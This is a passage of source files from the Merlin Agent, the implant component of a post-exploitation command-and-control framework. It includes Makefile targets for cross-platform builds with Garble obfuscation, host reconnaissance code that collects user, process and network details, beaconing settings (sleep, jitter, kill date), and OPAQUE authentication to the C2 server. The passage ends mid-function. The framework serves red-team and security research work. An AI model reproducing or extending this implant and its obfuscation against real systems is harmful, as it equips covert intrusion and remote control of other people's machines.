export GOGARBLE=${GOGARBLE};export GOOS=windows GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${WINAGENTLDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}.exe ./main.go
windows-garble-debug:
export GOOS=windows GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${W}-Debug.exe ./main.go
# Compile Agent - Linux mips
mips:
export GOOS=linux;export GOARCH=mips;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${M} ./main.go
# Compile Agent - Linux arm
arm:
export GOOS=linux;export GOARCH=arm;export GOARM=7;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${A} ./main.go
# Compile Agent - Linux x64
linux:
export GOOS=linux;export GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${L} ./main.go
# Compile Agent - Linux x64 with Garble - The SEED must be the exact same that was used when compiling the server
# Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable
linux-garble:
export GOOS=linux GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${L} ./main.go
# Compile Agent - FreeBSD x64
freebsd:
export GOOS=freebsd;export GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${B} ./main.go
# Compile Agent - FreeBSD x64 with Garble - The SEED must be the exact same that was used when compiling the server
# Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable
freebsd-garble:
export GOOS=freebsd GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${B} ./main.go
# Compile Agent - Darwin x64
darwin:
export GOOS=darwin;export GOARCH=amd64;go build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${D} ./main.go
# Compile Agent - macOS (Darwin) x64 with Garble - The SEED must be the exact same that was used when compiling the server
# Garble version 0.5.2 or later must be installed and accessible in the PATH environment variable
darwin-garble:
export GOOS=darwin GOARCH=amd64;garble -tiny -literals -seed ${SEED} build -tags ${TAGS} -trimpath ${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} -o ${DIR}/${MAGENT}-${D} ./main.go
package-windows:
${PACKAGE} ${DIR}/${MAGENT}-${W}.7z ${F}
cd ${DIR};${PACKAGE} ${MAGENT}-${W}.7z ${MAGENT}-${W}.exe
package-windows-debug:
${PACKAGE} ${DIR}/${MAGENT}-${W}-Debug.7z ${F}
cd ${DIR};${PACKAGE} ${MAGENT}-${W}-Debug.7z ${MAGENT}-${W}-Debug.exe
package-linux:
${PACKAGE} ${DIR}/${MAGENT}-${L}.7z ${F}
cd ${DIR};${PACKAGE} ${MAGENT}-${L}.7z ${MAGENT}-${L}
package-darwin:
${PACKAGE} ${DIR}/${MAGENT}-${D}.7z ${F}
cd ${DIR};${PACKAGE} ${MAGENT}-${D}.7z ${MAGENT}-${D}
package-freebsd:
${PACKAGE} ${DIR}/${MAGENT}-${B}.7z ${F}
cd ${DIR};${PACKAGE} ${MAGENT}-${B}.7z ${MAGENT}-${D}
package-move:
cp ${DIR}/${MAGENT}*.7z .
clean:
rm -rf ${DIR}*
package-all: package-windows package-windows-debug package-linux package-darwin
#Build all files for release distribution
distro: clean all package-all package-move
================================================
FILE: README.md
================================================
[](https://ci.appveyor.com/project/Ne0nd0g/merlin-agent)
[](https://goreportcard.com/badge/github.com/ne0nd0g/merlin-agent)
[](https://www.gnu.org/licenses/gpl-3.0)
[](https://github.com/Ne0nd0g/merlin-agent/releases/latest)
[](https://github.com/Ne0nd0g/merlin-agent/releases)
[](https://twitter.com/merlin_c2)
# Merlin Agent
This repository contains the Agent code for [Merlin](https://github.com/Ne0nd0g/merlin) post-exploitation command and
control framework.
> Compiled versions of the agent for all Operating Systems are distributed in release packages from the main project
Documentation for the project can be found at https://merlin-c2.readthedocs.io/en/latest/
================================================
FILE: agent/agent.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package agent
import (
// Standard
"fmt"
"net"
"os"
"os/user"
"runtime"
"strconv"
"time"
// 3rd Party
"github.com/google/uuid"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
merlinOS "github.com/Ne0nd0g/merlin-agent/v2/os"
)
// Agent is an aggregate structure that represents a Merlin Agent
type Agent struct {
id uuid.UUID // id is a Universally Unique Identifier per agent
authenticated bool // authenticated identifies if the agent has successfully completed initial authentication (if applicable)
checkin time.Time // checkin is a timestamp of the agent's last status check in time
comms Comms // comms holds information about the Agent's communications with the Server or parent Agent
host Host // Host is an embedded structure that contains information about the host the Agent is running on
initial time.Time // initial is a timestamp of the agent's initial check in time
process Process // Process contains information about this Agent's process
}
// Config is a structure that is used to pass in all necessary information to instantiate a new Agent
type Config struct {
Sleep string // Sleep is the amount of time the Agent will wait between sending messages to the server
Skew string // Skew is the variance or jitter, used to vary the sleep time so that it isn't constant
KillDate string // KillDate is the date as a Unix timestamp, that agent will quit running
MaxRetry string // MaxRetry is the maximum amount of time an agent will fail to check in before it quits running
}
// New creates a new Agent struct from the provided Config structure and returns the Agent object
func New(config Config) (agent Agent, err error) {
cli.Message(cli.DEBUG, "Entering agent.New() function")
agent = Agent{
id: uuid.New(),
}
agent.host = Host{
Architecture: runtime.GOARCH,
Platform: runtime.GOOS,
}
agent.process = Process{
ID: os.Getpid(),
}
// Process integrity Level
agent.process.Integrity, err = merlinOS.GetIntegrityLevel()
if err != nil {
cli.Message(cli.DEBUG, fmt.Sprintf("there was an error determining the agent's integrity level: %s", err))
}
// Process username and User GUID
var u *user.User
u, err = user.Current()
if err != nil {
err = fmt.Errorf("there was an error getting the current user: %s", err)
return
}
agent.process.UserName = u.Username
agent.process.UserGUID = u.Gid
// Process Name
agent.process.Name, err = os.Executable()
if err != nil {
err = fmt.Errorf("there was an error getting the process name: %s", err)
return
}
agent.host.Name, err = os.Hostname()
if err != nil {
err = fmt.Errorf("there was an error getting the hostname: %s", err)
return
}
var interfaces []net.Interface
interfaces, err = net.Interfaces()
if err != nil {
err = fmt.Errorf("there was an error getting the IP addresses: %s", err)
return
}
for _, iface := range interfaces {
var addrs []net.Addr
addrs, err = iface.Addrs()
if err == nil {
for _, addr := range addrs {
agent.host.IPs = append(agent.host.IPs, addr.String())
}
} else {
err = fmt.Errorf("there was an error getting interface information: %s", err)
return
}
}
// Parse config
// Parse KillDate
if config.KillDate != "" {
agent.comms.Kill, err = strconv.ParseInt(config.KillDate, 10, 64)
if err != nil {
err = fmt.Errorf("there was an error converting the killdate to an integer: %s", err)
return
}
} else {
agent.comms.Kill = 0
}
// Parse MaxRetry
if config.MaxRetry != "" {
agent.comms.Retry, err = strconv.Atoi(config.MaxRetry)
if err != nil {
err = fmt.Errorf("there was an error converting the max retry to an integer: %s", err)
return
}
} else {
agent.comms.Retry = 7
}
// Parse Sleep
if config.Sleep != "" {
agent.comms.Wait, err = time.ParseDuration(config.Sleep)
if err != nil {
err = fmt.Errorf("there was an error converting the sleep time to an integer: %s", err)
return
}
} else {
agent.comms.Wait = 30000 * time.Millisecond
}
// Parse Skew
if config.Skew != "" {
agent.comms.Skew, err = strconv.ParseInt(config.Skew, 10, 64)
if err != nil {
err = fmt.Errorf("there was an error converting the skew to an integer: %s", err)
return
}
} else {
agent.comms.Skew = 3000
}
cli.Message(cli.INFO, "Host Information:")
cli.Message(cli.INFO, fmt.Sprintf("\tAgent UUID: %s", agent.id))
cli.Message(cli.INFO, fmt.Sprintf("\tHostname: %s", agent.host.Name))
cli.Message(cli.INFO, fmt.Sprintf("\tPlatform: %s", agent.host.Platform))
cli.Message(cli.INFO, fmt.Sprintf("\tArchitecture: %s", agent.host.Architecture))
cli.Message(cli.INFO, fmt.Sprintf("\tPID: %d", agent.process.ID))
cli.Message(cli.INFO, fmt.Sprintf("\tProcess: %s", agent.process.Name))
cli.Message(cli.INFO, fmt.Sprintf("\tUser Name: %s", agent.process.UserName))
cli.Message(cli.INFO, fmt.Sprintf("\tUser GUID: %s", agent.process.UserGUID))
cli.Message(cli.INFO, fmt.Sprintf("\tIntegrity Level: %d", agent.process.Integrity))
cli.Message(cli.INFO, fmt.Sprintf("\tIPs: %v", agent.host.IPs))
cli.Message(cli.DEBUG, "Leaving agent.New function")
return
}
// Authenticated returns if the Agent is authenticated to the Merlin server or not
func (a *Agent) Authenticated() bool {
return a.authenticated
}
// Comms returns the embedded Comms structure which contains information about the Agent's communication profile but
// is not the actual client used for network communications
func (a *Agent) Comms() Comms {
return a.comms
}
// Failed returns the number of times the Agent has failed to successfully check in
func (a *Agent) Failed() int {
return a.comms.Failed
}
// Host returns the embedded Host structure that contains information about the Host where the Agent is running such as
// the hostname and operating system
func (a *Agent) Host() Host {
return a.host
}
// ID returns the Agent's unique identifier
func (a *Agent) ID() uuid.UUID {
return a.id
}
// KillDate returns the date, as an epoch timestamp, that the Agent will quit running
func (a *Agent) KillDate() int64 {
return a.comms.Kill
}
// MaxRetry returns the configured value for how many times the Agent will try to connect in before it quits running
func (a *Agent) MaxRetry() int {
return a.comms.Retry
}
// Process returns the embedded Process structure that contains information about the process this Merlin Agent is running in
// such as the process id, username, or integrity level
func (a *Agent) Process() Process {
return a.process
}
// SetAuthenticated updates the Agent's authentication status
// The updated Agent object must be stored or updated in the repository separately for the change to be permanent
func (a *Agent) SetAuthenticated(authenticated bool) {
a.authenticated = authenticated
}
// SetComms updates the Agent's embedded Comms structure with the one provided
// The updated Agent object must be stored or updated in the repository separately for the change to be permanent
func (a *Agent) SetComms(comms Comms) {
a.comms = comms
}
// SetFailedCheckIn updates the number of times the Agent has actually failed to check in
// The updated Agent object must be stored or updated in the repository separately for the change to be permanent
func (a *Agent) SetFailedCheckIn(failed int) {
a.comms.Failed = failed
}
// SetInitialCheckIn updates the time stamp that the Agent first successfully connected to the Merlin server
// The updated Agent object must be stored or updated in the repository separately for the change to be permanent
func (a *Agent) SetInitialCheckIn(checkin time.Time) {
a.initial = checkin
}
// SetKillDate updates the date, as an epoch timestamp, that the Agent will quit running
// The updated Agent object must be stored or updated in the repository separately for the change to be permanent
func (a *Agent) SetKillDate(epochDate int64) {
a.comms.Kill = epochDate
}
// SetMaxRetry updates the number of times the Agent can fail to check in before it quits running
// The updated Agent object must be stored or updated in the repository separately for the change to be permanent
func (a *Agent) SetMaxRetry(retries int) {
a.comms.Retry = retries
}
// SetSkew updates the amount of jitter or skew added to the Agent's sleep or wait time
// The updated Agent object must be stored or updated in the repository separately for the change to be permanent
func (a *Agent) SetSkew(skew int64) {
a.comms.Skew = skew
}
// SetStatusCheckIn updates the last time the Agent successfully communicated with the Merlin server
// The updated Agent object must be stored or updated in the repository separately for the change to be permanent
func (a *Agent) SetStatusCheckIn(checkin time.Time) {
a.checkin = checkin
}
// SetWaitTime updates the amount of time the Agent will wait or sleep before it attempts to check in again
// The updated Agent object must be stored or updated in the repository separately for the change to be permanent
func (a *Agent) SetWaitTime(wait time.Duration) {
a.comms.Wait = wait
}
// Skew returns the amount of jitter or skew the Agent is adding to the amount of time it sleeps between check ins
func (a *Agent) Skew() int64 {
return a.comms.Skew
}
// Wait returns the amount of time the Agent will wait or sleep between check ins
func (a *Agent) Wait() time.Duration {
return a.comms.Wait
}
================================================
FILE: agent/memory/memory.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package memory is an in-memory repository to store or update an Agent object
package memory
import (
// Standard
"sync"
"time"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/agent"
)
// Repository is the structure that implements the in-memory repository for interacting with the Agent's C2 client
type Repository struct {
sync.Mutex
agent agent.Agent
}
// repo is the in-memory datastore
var repo *Repository
// NewRepository creates and returns a new in-memory repository for interacting with the Agent in-memory repository
func NewRepository() *Repository {
if repo == nil {
repo = &Repository{
Mutex: sync.Mutex{},
}
}
return repo
}
// Add stores the Merlin Agent structure to the repository
func (r *Repository) Add(agent agent.Agent) {
r.Lock()
defer r.Unlock()
r.agent = agent
}
// Get returns the stored Agent structure
func (r *Repository) Get() agent.Agent {
return r.agent
}
// SetAuthenticated updates the Agent's authentication status and stores the updated Agent in the repository
func (r *Repository) SetAuthenticated(authenticated bool) {
r.Lock()
defer r.Unlock()
r.agent.SetAuthenticated(authenticated)
}
// SetFailedCheckIn updates the number of times the Agent has actually failed to check in and stores the updated Agent
// in the repository
func (r *Repository) SetFailedCheckIn(failed int) {
r.Lock()
defer r.Unlock()
r.agent.SetFailedCheckIn(failed)
}
// SetInitialCheckIn updates the time stamp that the Agent first successfully connected to the Merlin server and stores
// the updated Agent in the repository
func (r *Repository) SetInitialCheckIn(checkin time.Time) {
r.Lock()
defer r.Unlock()
r.agent.SetInitialCheckIn(checkin)
}
// SetKillDate sets the date, as an epoch timestamp, of when the Agent will quit running and stores the updated Agent
// in the repository
func (r *Repository) SetKillDate(epochDate int64) {
r.Lock()
defer r.Unlock()
r.agent.SetKillDate(epochDate)
}
// SetMaxRetry updates the number of times the Agent can fail to check in before it quits running and stores the updated
// Agent in the repository
func (r *Repository) SetMaxRetry(retries int) {
r.Lock()
defer r.Unlock()
r.agent.SetMaxRetry(retries)
}
// SetSkew updates the amount of jitter or skew added to the Agent's sleep or wait time and stores the updated Agent in
// the repository
func (r *Repository) SetSkew(skew int64) {
r.Lock()
defer r.Unlock()
r.agent.SetSkew(skew)
}
// SetSleep updates the amount of time the Agent will wait or sleep before it attempts to check in again and stores the
// updated Agent in the repository
func (r *Repository) SetSleep(sleep time.Duration) {
r.Lock()
defer r.Unlock()
r.agent.SetWaitTime(sleep)
}
// SetComms updates the Agent's embedded Comms structure with the one provided and stores the updated Agent in the repository
func (r *Repository) SetComms(comms agent.Comms) {
r.Lock()
defer r.Unlock()
r.agent.SetComms(comms)
}
// SetStatusCheckIn updates the last time the Agent successfully communicated with the Merlin server and stores the
// updated Agent in the repository
func (r *Repository) SetStatusCheckIn(checkin time.Time) {
r.Lock()
defer r.Unlock()
r.agent.SetStatusCheckIn(checkin)
}
================================================
FILE: agent/repository.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package agent
import "time"
type Repository interface {
// Add stores the Merlin Agent structure to the repository
Add(agent Agent)
// Get returns the stored Agent structure
Get() Agent
// SetAuthenticated updates the Agent's authentication status and stores the updated Agent in the repository
SetAuthenticated(authenticated bool)
// SetComms updates the Agent's embedded Comms structure with the one provided and stores the updated Agent in the repository
SetComms(comms Comms)
// SetFailedCheckIn updates the number of times the Agent has actually failed to check in and stores the updated Agent
// in the repository
SetFailedCheckIn(failed int)
// SetInitialCheckIn updates the time stamp that the Agent first successfully connected to the Merlin server and stores
// the updated Agent in the repository
SetInitialCheckIn(checkin time.Time)
// SetKillDate sets the date, as an epoch timestamp, of when the Agent will quit running and stores the updated Agent
// in the repository
SetKillDate(epochDate int64)
// SetMaxRetry updates the number of times the Agent can fail to check in before it quits running and stores the updated
// Agent in the repository
SetMaxRetry(retries int)
// SetSkew updates the amount of jitter or skew added to the Agent's sleep or wait time and stores the updated Agent in
// the repository
SetSkew(skew int64)
// SetSleep updates the amount of time the Agent will wait or sleep before it attempts to check in again and stores the
// updated Agent in the repository
SetSleep(sleep time.Duration)
// SetStatusCheckIn updates the last time the Agent successfully communicated with the Merlin server and stores the
// updated Agent in the repository
SetStatusCheckIn(checkin time.Time)
}
================================================
FILE: agent/structs.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package agent
import "time"
// Build is a structure that holds information about an Agent's compiled build hash and the Agent's version number
type Build struct {
Build string // The agent's build hash
Version string // The agent's version number
}
// Comms is a structure that holds information about an Agent's communication profile
type Comms struct {
Failed int // The number of times the agent has failed to check in
JA3 string // The ja3 signature applied to the agent's TLS client
Kill int64 // The epoch date and time that the agent will kill itself and quit running
Padding int // The maximum amount of padding that will be appended to the Base message
Proto string // The protocol the agent is using to communicate with the server
Retry int // The maximum amount of times an agent will retry to check in before exiting
Skew int64 // The amount of skew, or jitter, used to calculate the check in time
Wait time.Duration // The amount of time the agent waits before trying to check in
}
// Host is a structure that holds information about the Host operating system an Agent is running on
type Host struct {
Architecture string // The operating system architecture the agent is running on (e.g., x86 or x64)
Name string // The host name the agent is running on
Platform string // The platform, or operating system, the agent is running on
IPs []string // A list of interface IP addresses on the host where the agent is running
}
// Process is a structure that holds information about the Process the Agent is running in/as
type Process struct {
ID int // The process ID that the agent is running in
Integrity int // The integrity level of the process the agent is running in
Name string // The process name that the agent is running in
UserGUID string // The GUID of the user that the agent is running as
UserName string // The username that the agent is running as
Domain string // The domain the user running the process belong to
}
================================================
FILE: authenticators/authenticaters.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package authenticators holds the factories to create structures that implement the Authenticator interface
// This interface is used by the Agent to authenticate to the server
package authenticators
import (
// Merlin
"github.com/Ne0nd0g/merlin-message"
)
// Authenticator is an interface used by various authentication methods
type Authenticator interface {
// Authenticate performs the necessary steps to authenticate the agent, returning one or more Base messages needed
// to complete authentication. Function must take in a Base message for when the authentication process takes more
// than one step.
Authenticate(messages.Base) (messages.Base, bool, error)
// Secret returns encryption keys derived during the Agent authentication process (if applicable)
Secret() ([]byte, error)
// String returns a string representation of the Authenticator's type
String() string
}
================================================
FILE: authenticators/none/none.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package none is used to exclude or bypass authentication mechanisms. When this Authenticator is used, NO authentication is provided
package none
import (
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
)
// Authenticator is a structure used for "none" authentication
type Authenticator struct {
agent uuid.UUID
}
// New returns a "none" Authenticator structure
func New(id uuid.UUID) *Authenticator {
return &Authenticator{agent: id}
}
// Authenticate returns true because the none package offers no authentication
func (a *Authenticator) Authenticate(messages.Base) (messages.Base, bool, error) {
return messages.Base{ID: a.agent, Type: messages.CHECKIN}, true, nil
}
// Secret returns an empty key because the none package offers no authentication and did not establish a secret
func (a *Authenticator) Secret() ([]byte, error) {
return []byte{}, nil
}
// String returns the name of the Authenticator type
func (a *Authenticator) String() string {
return "none"
}
================================================
FILE: authenticators/opaque/opaque.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package opaque is an authenticator for Agent communications with the server using the OPAQUE protocol
package opaque
import (
// Standard
"crypto/sha256"
"fmt"
// 3rd Party
"github.com/cretz/gopaque/gopaque"
"github.com/google/uuid"
"golang.org/x/crypto/pbkdf2"
// Merlin
"github.com/Ne0nd0g/merlin-message"
"github.com/Ne0nd0g/merlin-message/opaque"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/core"
)
// Authenticator is a structure used for OPAQUE authentication
type Authenticator struct {
agent uuid.UUID // The Agent's ID
registered bool // If OPAQUE registration has been completed
authenticated bool // If OPAQUE authentication has been completed
opaque *User // The OPAQUE user data structure
}
// New returns an OPAQUE Authenticator structure used for Agent authentication
func New(id uuid.UUID) *Authenticator {
return &Authenticator{agent: id}
}
// Authenticate goes through the entire OPAQUE process to authenticate to the server and establish a shared secret
func (a *Authenticator) Authenticate(in messages.Base) (out messages.Base, authenticated bool, err error) {
out.ID = a.agent
out.Type = messages.OPAQUE
// Check for ReRegister and ReAuthenticate messages
if in.Type == messages.OPAQUE {
if in.Payload != nil {
switch in.Payload.(opaque.Opaque).Type {
case opaque.ReRegister:
cli.Message(cli.NOTE, "Received OPAQUE re-register request")
if !a.registered {
cli.Message(cli.INFO, "authenticators/opaque.Authenticate(): OPAQUE registration already in progress, doing nothing")
return messages.Base{}, false, nil
}
a.registered = false
a.opaque = nil
case opaque.ReAuthenticate:
cli.Message(cli.NOTE, "Received OPAQUE re-authenticate request")
a.authenticated = false
payload := opaque.Opaque{
Type: opaque.RegComplete,
Payload: nil,
}
in.Payload = payload
}
}
}
// Registration has not successfully completed
if !a.registered {
// The initial OPAQUE message generated by the Agent for its first communication with the server will have an empty payload.
// All other messages will have an opaque.Opaque payload
if in.Payload == nil {
// Register Init
out.Payload, a.opaque, err = UserRegisterInit(a.agent, a.opaque)
if err != nil {
err = fmt.Errorf("authenticators/opaque.Authenticate(): there was an error creating the OPAQUE User Registration Initialization message: %s", err)
}
// Return opaque.RegInit message
cli.Message(cli.NOTE, "Starting OPAQUE Registration")
return
}
}
// Validate the incoming message is for this agent
if in.ID != a.agent {
return messages.Base{}, false, fmt.Errorf("authenticators/opaque.Authenticate(): Incoming message ID %s does not match Agent ID %s", in.ID, a.agent)
}
// Validate the Base message is an OPAQUE type
if in.Type != messages.OPAQUE {
return out, authenticated, fmt.Errorf("authenticators/opaque.Authenticate(): Incoming message type %d was not an OPAQUE type %d", in.Type, messages.OPAQUE)
}
// AuthComplete messages have no payload
opaqueMessage := in.Payload.(opaque.Opaque)
switch opaqueMessage.Type {
case opaque.RegInit:
// Server returned a RegInit message, start OPAQUE registration completion
out.Payload, err = UserRegisterComplete(opaqueMessage, a.opaque)
if err != nil {
err = fmt.Errorf("authenticators/opaque.Authenticate(): there was an error creating the OPAQUE User Registration Complete message: %s", err)
} else {
a.registered = true
}
// Returning an opaque.RegComplete message to the server
case opaque.RegComplete:
cli.Message(cli.NOTE, "Received OPAQUE server registration complete message")
cli.Message(cli.NOTE, "Starting OPAQUE Authentication")
// OPAQUE Registration has completed, start OPAQUE Authentication
// Build AuthInit message
out.Payload, err = UserAuthenticateInit(a.agent, a.opaque)
// Returning an opaque.AuthInit message to the server
case opaque.AuthInit:
cli.Message(cli.NOTE, "Received OPAQUE server authentication initialization message")
// Server returned an AuthInit message, start authentication completion
out.Payload, err = UserAuthenticateComplete(opaqueMessage, a.opaque)
if err == nil {
a.authenticated = true
authenticated = true
}
// Returning an opaque.AuthComplete message to the server
case opaque.ReRegister:
cli.Message(cli.NOTE, "Received OPAQUE server re-registration message")
a.registered = false
a.opaque = nil
out.Payload, a.opaque, err = UserRegisterInit(a.agent, a.opaque)
case opaque.ReAuthenticate:
cli.Message(cli.NOTE, "Received OPAQUE server re-authentication message")
a.authenticated = false
out.Payload, err = UserAuthenticateInit(a.agent, a.opaque)
// Returning an opaque.AuthInit message to the server
}
return
}
// Secret returns the established shared secret as bytes
func (a *Authenticator) Secret() (key []byte, err error) {
if !a.authenticated {
return nil, fmt.Errorf("authenticators/opaque.Secret(): the Agent has not completed OPAQUE authentication")
}
return []byte(a.opaque.Kex.SharedSecret.String()), nil
}
// String returns the name of the Authenticator type
func (a *Authenticator) String() string {
return "OPAQUE"
}
// User is the structure that holds information for the various steps of the OPAQUE protocol as the user
type User struct {
reg *gopaque.UserRegister // User Registration
regComplete *gopaque.UserRegisterComplete // User Registration Complete
auth *gopaque.UserAuth // User Authentication
Kex *gopaque.KeyExchangeSigma // User Key Exchange
pwdU []byte // User Password
}
// UserRegisterInit is used to perform the OPAQUE Password Authenticated Key Exchange (PAKE) protocol Registration steps for the user
func UserRegisterInit(AgentID uuid.UUID, user *User) (opaque.Opaque, *User, error) {
cli.Message(cli.DEBUG, "Entering into opaque.UserRegisterInit...")
var userRegInit *gopaque.UserRegisterInit
// If Registration was previously started, but unsuccessful, the User variable will not be nil
if user == nil {
var newUser User
// Generate a random password and run it through 5000 iterations of PBKDF2; Used with OPAQUE
x := core.RandStringBytesMaskImprSrc(30)
agentIDBytes, err := AgentID.MarshalBinary()
if err != nil {
return opaque.Opaque{}, nil, fmt.Errorf("there was an error marshalling the AgentID to bytes: %s", err)
}
newUser.pwdU = pbkdf2.Key([]byte(x), agentIDBytes, 5000, 32, sha256.New)
// Build OPAQUE User Registration Initialization
newUser.reg = gopaque.NewUserRegister(gopaque.CryptoDefault, agentIDBytes, nil)
user = &newUser
}
userRegInit = user.reg.Init(user.pwdU)
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE UserID: %x", userRegInit.UserID))
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE Alpha: %v", userRegInit.Alpha))
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE PwdU: %x", user.pwdU))
userRegInitBytes, errUserRegInitBytes := userRegInit.ToBytes()
if errUserRegInitBytes != nil {
return opaque.Opaque{}, user, fmt.Errorf("there was an error marshalling the OPAQUE user registration initialization message to bytes:\r\n%s", errUserRegInitBytes.Error())
}
// Message to be sent to the server
regInit := opaque.Opaque{
Type: opaque.RegInit,
Payload: userRegInitBytes,
}
return regInit, user, nil
}
// UserRegisterComplete consumes the Server's response and finishes OPAQUE registration
func UserRegisterComplete(regInitResp opaque.Opaque, user *User) (opaque.Opaque, error) {
cli.Message(cli.DEBUG, "Entering into opaque.UserRegisterComplete...")
if regInitResp.Type != opaque.RegInit {
return opaque.Opaque{}, fmt.Errorf("expected OPAQUE message type %d, got %d", opaque.RegInit, regInitResp.Type)
}
// Check to see if OPAQUE User Registration was previously completed
if user.regComplete == nil {
var serverRegInit gopaque.ServerRegisterInit
errServerRegInit := serverRegInit.FromBytes(gopaque.CryptoDefault, regInitResp.Payload)
if errServerRegInit != nil {
return opaque.Opaque{}, fmt.Errorf("there was an error unmarshalling the OPAQUE server register initialization message from bytes:\r\n%s", errServerRegInit.Error())
}
cli.Message(cli.NOTE, "Received OPAQUE server registration initialization message")
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE Beta: %v", serverRegInit.Beta))
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE V: %v", serverRegInit.V))
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE PubS: %s", serverRegInit.ServerPublicKey))
// TODO extend gopaque to run RwdU through n iterations of PBKDF2
user.regComplete = user.reg.Complete(&serverRegInit)
}
userRegCompleteBytes, errUserRegCompleteBytes := user.regComplete.ToBytes()
if errUserRegCompleteBytes != nil {
return opaque.Opaque{}, fmt.Errorf("there was an error marshalling the OPAQUE user registration complete message to bytes:\r\n%s", errUserRegCompleteBytes.Error())
}
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE EnvU: %x", user.regComplete.EnvU))
cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE PubU: %v", user.regComplete.UserPublicKey))
// message to be sent to the server
regComplete := opaque.Opaque{
